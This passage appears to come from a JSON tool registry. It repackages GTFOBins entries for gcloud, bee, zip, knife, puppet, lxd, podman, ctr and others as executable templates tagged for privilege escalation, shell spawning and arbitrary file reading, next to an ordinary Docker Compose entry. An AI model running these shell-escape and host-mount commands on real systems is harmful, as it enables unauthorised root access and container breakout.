      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "medium",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "AWS command-line interface for managing cloud resources, can read files via EC2 filter option.",
    "examples": [
      {
        "description": "Read arbitrary file via EC2 describe-instances filter file",
        "command": "aws ec2 describe-instances --filter file:///path/to/input-file"
      },
      {
        "description": "Access AWS help via pager (less) for file escape",
        "command": "aws help"
      }
    ],
    "execution": {
      "template": "aws {0}",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "output-json"
    ],
    "global_vars": {
      "target": "url"
    },
    "id": "cloud-aws-cli",
    "install": [
      {
        "method": "pip",
        "commands": [
          "pip install awscli"
        ]
      }
    ],
    "name": "aws",
    "namespace": "cloud:aws:cli",
    "parameters": [
      {
        "name": "filter",
        "type": "string",
        "required": false,
        "description": "Resource filter option",
        "aliases": [
          "--filter"
        ],
        "flag": "--filter"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "windows",
      "cross-platform"
    ],
    "references": [
      {
        "label": "AWS CLI documentation",
        "url": "https://aws.amazon.com/cli/"
      }
    ],
    "related_tools": [
      "gcloud",
      "az"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "medium",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection",
      "discovery"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "cloud-resources",
        "file-content"
      ],
      "consumes": [
        "aws-credentials"
      ]
    }
  },
  {
    "_body": "",
    "_source": "gcloud.md",
    "allowed-tools": [
      "gcloud",
      "gsutil",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell",
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell or command output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Google Cloud CLI, can execute commands and spawn shells via gcloud compute SSH.",
    "examples": [
      {
        "description": "Spawn a shell via gcloud compute ssh",
        "command": "gcloud compute ssh [instance] --command /bin/sh"
      }
    ],
    "execution": {
      "template": "gcloud compute ssh [instance] --command /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "cloud-gcp-gcloud",
    "install": [
      {
        "method": "apt",
        "package_name": "google-cloud-sdk",
        "commands": [
          "apt-get install -y google-cloud-sdk"
        ]
      }
    ],
    "name": "gcloud",
    "namespace": "cloud:gcp:gcloud",
    "parameters": [],
    "platforms": [
      "linux",
      "macos"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/gcloud/"
      }
    ],
    "related_tools": [
      "gsutil",
      "kubectl"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "bee.md",
    "allowed-tools": [
      "bee",
      "php",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo or SUID execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "PHP code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Backdrop CMS command-line tool, can execute PHP code inherited from PHP binary.",
    "examples": [
      {
        "description": "Execute PHP code via bee eval",
        "command": "bee eval 'system(\"/bin/sh\");'"
      }
    ],
    "execution": {
      "template": "bee eval '{php_code}'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "cms-backdrop-bee",
    "install": [
      {
        "method": "git",
        "package_name": "bee",
        "commands": [
          "git clone https://github.com/backdrop-ops/bee.git"
        ]
      }
    ],
    "name": "bee",
    "namespace": "cms:backdrop:bee",
    "parameters": [
      {
        "name": "php_code",
        "type": "string",
        "required": false,
        "description": "PHP code to evaluate"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/bee/"
      }
    ],
    "related_tools": [
      "php"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "execution",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "efax.md",
    "allowed-tools": [
      "efax",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Fax program, can execute commands via crafted fax files.",
    "examples": [
      {
        "description": "Execute command via efax",
        "command": "efax /path/to/input"
      }
    ],
    "execution": {
      "template": "efax /path/to/input",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "communication-fax-efax",
    "install": [
      {
        "method": "apt",
        "package_name": "efax",
        "commands": [
          "apt-get install -y efax"
        ]
      }
    ],
    "name": "efax",
    "namespace": "communication:fax:efax",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/efax/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "asterisk.md",
    "allowed-tools": [
      "asterisk",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [
        {
          "type": "security.execution.context",
          "description": "Sudo or SUID execution context"
        }
      ],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Asterisk PBX remote console, can spawn a shell from the CLI when running as root or via sudo/SUID.",
    "examples": [
      {
        "description": "Spawn an interactive shell from the Asterisk CLI",
        "command": "asterisk -r\n!/bin/sh\n"
      }
    ],
    "execution": {
      "template": "asterisk -r",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "interactive",
      "process-manip"
    ],
    "global_vars": {},
    "id": "communication-voip-asterisk",
    "install": [
      {
        "method": "apt",
        "package_name": "asterisk",
        "commands": [
          "apt-get install -y asterisk"
        ]
      }
    ],
    "name": "asterisk",
    "namespace": "communication:voip:asterisk",
    "parameters": [
      {
        "name": "args",
        "type": "string",
        "required": false,
        "description": "CLI arguments for asterisk"
      }
    ],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/asterisk/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# zcat\n\nzcat is a command-line utility. Decompress gzipped files to stdout; can also read arbitrary files.\n",
    "_source": "zcat.md",
    "allowed-tools": [
      "zcat"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Decompress gzipped files to stdout; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, unprivileged)",
        "command": "zcat -f /path/to/input-file"
      }
    ],
    "execution": {
      "template": "zcat",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "local",
      "pipes-stdout"
    ],
    "global_vars": {},
    "id": "compression-gzip-zcat",
    "install": [
      {
        "method": "apt",
        "package_name": "gzip",
        "commands": [
          "apt-get install -y gzip"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "zcat",
    "namespace": "compression:gzip:zcat",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/zcat/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# xz\n\nxz is a command-line utility. General-purpose data compression utility; can also read arbitrary files.\n",
    "_source": "xz.md",
    "allowed-tools": [
      "xz"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "General-purpose data compression utility; can read arbitrary files.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "xz -c /path/to/input-file | xz -d"
      }
    ],
    "execution": {
      "template": "xz",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "local"
    ],
    "global_vars": {},
    "id": "compression-xz-xz",
    "install": [
      {
        "method": "apt",
        "package_name": "xz-utils",
        "commands": [
          "apt-get install -y xz-utils"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "xz",
    "namespace": "compression:xz:xz",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/xz/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "\n# zip\n\nzip is a command-line utility. Compress files into ZIP archives; can also read files and spawn shells; can also read arbitrary files, spawn an interactive shell.\n",
    "_source": "zip.md",
    "allowed-tools": [
      "zip"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read",
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Compress files into ZIP archives; can read files and spawn shells via test command.",
    "examples": [
      {
        "description": "Read arbitrary files (sudo, suid, unprivileged)",
        "command": "zip /path/to/temp-file /path/to/input-file\nunzip -p /path/to/temp-file"
      },
      {
        "description": "Spawn an interactive shell (sudo, suid, unprivileged)",
        "command": "zip /path/to/temp-file /etc/hosts -T -TT '/bin/sh #'"
      }
    ],
    "execution": {
      "template": "zip",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "compression",
      "file-system",
      "interactive",
      "local",
      "process-manip",
      "requires-root"
    ],
    "global_vars": {},
    "id": "compression-zip-zip",
    "install": [
      {
        "method": "apt",
        "package_name": "zip",
        "commands": [
          "apt-get install -y zip"
        ]
      }
    ],
    "mitre_ids": [
      "T1560"
    ],
    "name": "zip",
    "namespace": "compression:zip:zip",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/zip/"
      }
    ],
    "related_tools": [],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "collection",
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access",
        "command-output"
      ],
      "consumes": []
    }
  },
  {
    "_body": "",
    "_source": "knife.md",
    "allowed-tools": [
      "knife",
      "ruby",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Ruby code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 16,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Chef CLI, can execute Ruby code.",
    "examples": [
      {
        "description": "Execute command via knife",
        "command": "knife exec -E 'exec \"/bin/sh\"'"
      }
    ],
    "execution": {
      "template": "knife exec -E 'exec \"/bin/sh\"'",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "config-chef-knife",
    "install": [
      {
        "method": "gem",
        "package_name": "knife",
        "commands": [
          "gem install knife"
        ]
      }
    ],
    "name": "knife",
    "namespace": "config:chef:knife",
    "parameters": [],
    "platforms": [
      "linux",
      "macos",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/knife/"
      }
    ],
    "related_tools": [
      "chef",
      "ruby"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 16,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "puppet.md",
    "allowed-tools": [
      "puppet",
      "facter",
      "ruby",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Ruby code execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Configuration management tool, can execute Ruby code.",
    "examples": [
      {
        "description": "Execute command via puppet",
        "command": "puppet apply -e 'exec { \"/bin/sh\": }'"
      }
    ],
    "execution": {
      "template": "puppet apply -e 'exec { \"/bin/sh\": }'",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "config-puppet-puppet",
    "install": [
      {
        "method": "apt",
        "package_name": "puppet",
        "commands": [
          "apt-get install -y puppet"
        ]
      }
    ],
    "name": "puppet",
    "namespace": "config:puppet:puppet",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/puppet/"
      }
    ],
    "related_tools": [
      "facter",
      "ruby"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "lxd.md",
    "allowed-tools": [
      "lxd",
      "lxc",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 64,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Container hypervisor, can spawn privileged containers with host filesystem.",
    "examples": [
      {
        "description": "Spawn privileged container with host access",
        "command": "lxc init ubuntu:latest priv -c security.privileged=true\nlxc config device add priv host disk source=/ path=/mnt/root\nlxc start priv\nlxc exec priv /bin/sh\n"
      }
    ],
    "execution": {
      "template": "lxc init ubuntu:latest priv -c security.privileged=true && lxc config device add priv host disk source=/ path=/mnt/root",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "container-lxd-lxd",
    "install": [
      {
        "method": "apt",
        "package_name": "lxd",
        "commands": [
          "apt-get install -y lxd"
        ]
      }
    ],
    "name": "lxd",
    "namespace": "container:lxd:lxd",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/lxd/"
      }
    ],
    "related_tools": [
      "lxc",
      "docker"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 64,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n# Docker Compose — Multi-Container Orchestration\n\nDocker Compose is a tool for defining and running multi-container Docker applications. Using a YAML file, you configure all services, networks, and volumes, then start everything with a single command.\n\n## Compose File Structure\n\n```yaml\nversion: \"3.8\"\nservices:\n  web:\n    build: .\n    ports:\n      - \"8080:80\"\n    depends_on:\n      - db\n  db:\n    image: postgres:16\n    volumes:\n      - postgres_data:/var/lib/postgresql/data\n\nvolumes:\n  postgres_data:\n```\n\n## Common Workflows\n\n### Development\n```bash\n# Start development stack\ndocker-compose up -d\n\n# Rebuild specific service\ndocker-compose build web\n\n# View logs during development\ndocker-compose logs -f web\n\n# Run one-off commands\ndocker-compose exec web pytest\n```\n\n### Production\n```bash\n# Pull latest images\ndocker-compose pull\n\n# Graceful restart\ndocker-compose restart -t 30\n\n# Scale a service\ndocker-compose up -d --scale worker=3\n```\n\n### Cleanup\n```bash\n# Stop containers\ndocker-compose stop\n\n# Stop and remove everything\ndocker-compose down\n\n# Remove everything including volumes\ndocker-compose down -v --rmi all\n```\n\n## Related Tools\n\n- **[docker](../../runtime/docker.md)** — Container runtime\n- **[kubernetes](../../orchestrate/kubernetes.md)** — Production container orchestration\n- **[podman-compose](../../orchestrate/podman-compose.md)** — Rootless compose alternative\n",
    "_source": "docker-compose.md",
    "allowed-tools": [
      "docker-compose",
      "docker compose",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [
      {
        "type": "container.image.oci",
        "description": "Built container image",
        "mime": "application/vnd.oci.image.manifest.v1+json",
        "trust_level": "verified"
      },
      {
        "type": "container.runtime.logs",
        "description": "Container service logs",
        "mime": "text/plain",
        "trust_level": "verified"
      },
      {
        "type": "container.stack.config",
        "description": "Docker Compose stack configuration",
        "mime": "application/x-yaml",
        "trust_level": "verified"
      }
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "container.orchestrate.compose",
      "container.orchestrate.stack",
      "container.service.manage",
      "container.network.multi",
      "container.storage.volume",
      "container.logs.tail"
    ],
    "contract": {
      "inputs": [
        {
          "type": "container.stack.composefile",
          "description": "Docker Compose YAML file",
          "mime": "application/x-yaml"
        },
        {
          "type": "container.image.oci",
          "description": "Container images to use in the stack"
        }
      ],
      "outputs": [
        {
          "type": "container.stack.running",
          "description": "Running container stack"
        },
        {
          "type": "container.runtime.logs",
          "description": "Aggregated service logs",
          "mime": "text/plain"
        }
      ],
      "side_effects": [
        "network_traffic",
        "filesystem_write",
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "medium",
        "memory_mb": 128,
        "network": "medium",
        "disk_io": "medium"
      }
    },
    "dependencies": [
      "docker"
    ],
    "description": "Multi-container orchestration tool for defining and running complex Docker application stacks.",
    "examples": [
      {
        "description": "Start all services in background",
        "command": "docker-compose up -d"
      },
      {
        "description": "Build and start services",
        "command": "docker-compose up -d --build"
      },
      {
        "description": "View running services",
        "command": "docker-compose ps"
      },
      {
        "description": "Tail logs from all services",
        "command": "docker-compose logs -f"
      },
      {
        "description": "Execute command in a running service",
        "command": "docker-compose exec web bash"
      },
      {
        "description": "Stop and remove all resources",
        "command": "docker-compose down -v"
      }
    ],
    "execution": {
      "template": "docker-compose {all-resources} {ansi} {compatibility} {dry-run} {env-file}",
      "sandbox": "execFile",
      "timeout_seconds": 300,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "network-intensive",
      "pipes-stdout",
      "process-manip"
    ],
    "id": "container-orchestrate-compose",
    "install": [
      {
        "method": "apt",
        "package_name": "docker-compose",
        "commands": [
          "apt-get install -y docker-compose"
        ]
      },
      {
        "method": "brew",
        "package_name": "docker-compose",
        "commands": [
          "brew install docker-compose"
        ]
      }
    ],
    "name": "docker-compose",
    "namespace": "container:orchestrate:compose",
    "parameters": [
      {
        "name": "all-resources",
        "template_key": "all-resources",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Include all resources, even those not",
        "aliases": [
          "--all-resources"
        ],
        "flag": "--all-resources"
      },
      {
        "name": "ansi",
        "template_key": "ansi",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Control when to print ANSI control",
        "aliases": [
          "--ansi"
        ],
        "flag": "--ansi"
      },
      {
        "name": "compatibility",
        "template_key": "compatibility",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Run compose in backward compatibility mode",
        "aliases": [
          "--compatibility"
        ],
        "flag": "--compatibility"
      },
      {
        "name": "dry-run",
        "template_key": "dry-run",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Execute command in dry run mode",
        "aliases": [
          "--dry-run"
        ],
        "flag": "--dry-run"
      },
      {
        "name": "env-file",
        "template_key": "env-file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify an alternate environment file",
        "aliases": [
          "--env-file"
        ],
        "flag": "--env-file"
      },
      {
        "name": "file",
        "template_key": "file",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Compose configuration files",
        "aliases": [
          "-f",
          "--file"
        ],
        "flag": "-f"
      },
      {
        "name": "parallel",
        "template_key": "parallel",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Control max parallelism, -1 for",
        "aliases": [
          "--parallel"
        ],
        "flag": "--parallel"
      },
      {
        "name": "profile",
        "template_key": "profile",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Specify a profile to enable",
        "aliases": [
          "--profile"
        ],
        "flag": "--profile"
      },
      {
        "name": "progress",
        "template_key": "progress",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Set type of progress output (auto",
        "aliases": [
          "--progress"
        ],
        "flag": "--progress"
      },
      {
        "name": "project-directory",
        "template_key": "project-directory",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Specify an alternate working directory",
        "aliases": [
          "--project-directory"
        ],
        "flag": "--project-directory"
      },
      {
        "name": "project-name",
        "template_key": "project-name",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Project name",
        "aliases": [
          "-p",
          "--project-name"
        ],
        "flag": "-p"
      }
    ],
    "platforms": [
      "linux",
      "macos",
      "windows"
    ],
    "references": [
      {
        "label": "Docker Compose documentation",
        "url": "https://docs.docker.com/compose/"
      },
      {
        "label": "Compose file reference",
        "url": "https://docs.docker.com/compose/compose-file/"
      }
    ],
    "related_tools": [
      "docker",
      "docker-swarm",
      "kubernetes",
      "podman-compose"
    ],
    "resource_profile": {
      "cpu": "medium",
      "memory_mb": 128,
      "network": "medium",
      "disk_io": "medium"
    },
    "risk_level": "low",
    "techniques": [
      "lateral-movement"
    ],
    "trust_level": "verified",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "compose-stack",
        "service-logs"
      ],
      "consumes": [
        "compose-file",
        "container-image"
      ]
    }
  },
  {
    "_body": "",
    "_source": "podman.md",
    "allowed-tools": [
      "podman",
      "docker",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "low",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Container runtime, can spawn privileged containers with host access.",
    "examples": [
      {
        "description": "Spawn privileged container with host access",
        "command": "podman run -v /:/mnt --rm -it alpine sh -c 'chroot /mnt'"
      }
    ],
    "execution": {
      "template": "podman run -v /:/mnt --rm -it alpine /bin/sh",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "container-podman-podman",
    "install": [
      {
        "method": "apt",
        "package_name": "podman",
        "commands": [
          "apt-get install -y podman"
        ]
      }
    ],
    "name": "podman",
    "namespace": "container:podman:podman",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/podman/"
      }
    ],
    "related_tools": [
      "docker",
      "lxd"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 32,
      "network": "low",
      "disk_io": "low"
    },
    "risk_level": "high",
    "techniques": [
      "privilege-escalation",
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "shell-access"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "ctr.md",
    "allowed-tools": [
      "ctr",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.privilege-escalation.shell"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Shell output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 32,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "containerd CLI, can spawn a privileged shell by running a container with host filesystem mount.",
    "examples": [
      {
        "description": "Spawn a privileged shell via ctr",
        "command": "ctr images pull docker.io/library/alpine:latest\nctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest x\n"
      }
    ],
    "execution": {
      "template": "ctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest x",
      "sandbox": "execFile",
      "timeout_seconds": 60,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "container-runc-ctr",
    "install": [
      {
        "method": "apt",
        "package_name": "containerd",
        "commands": [
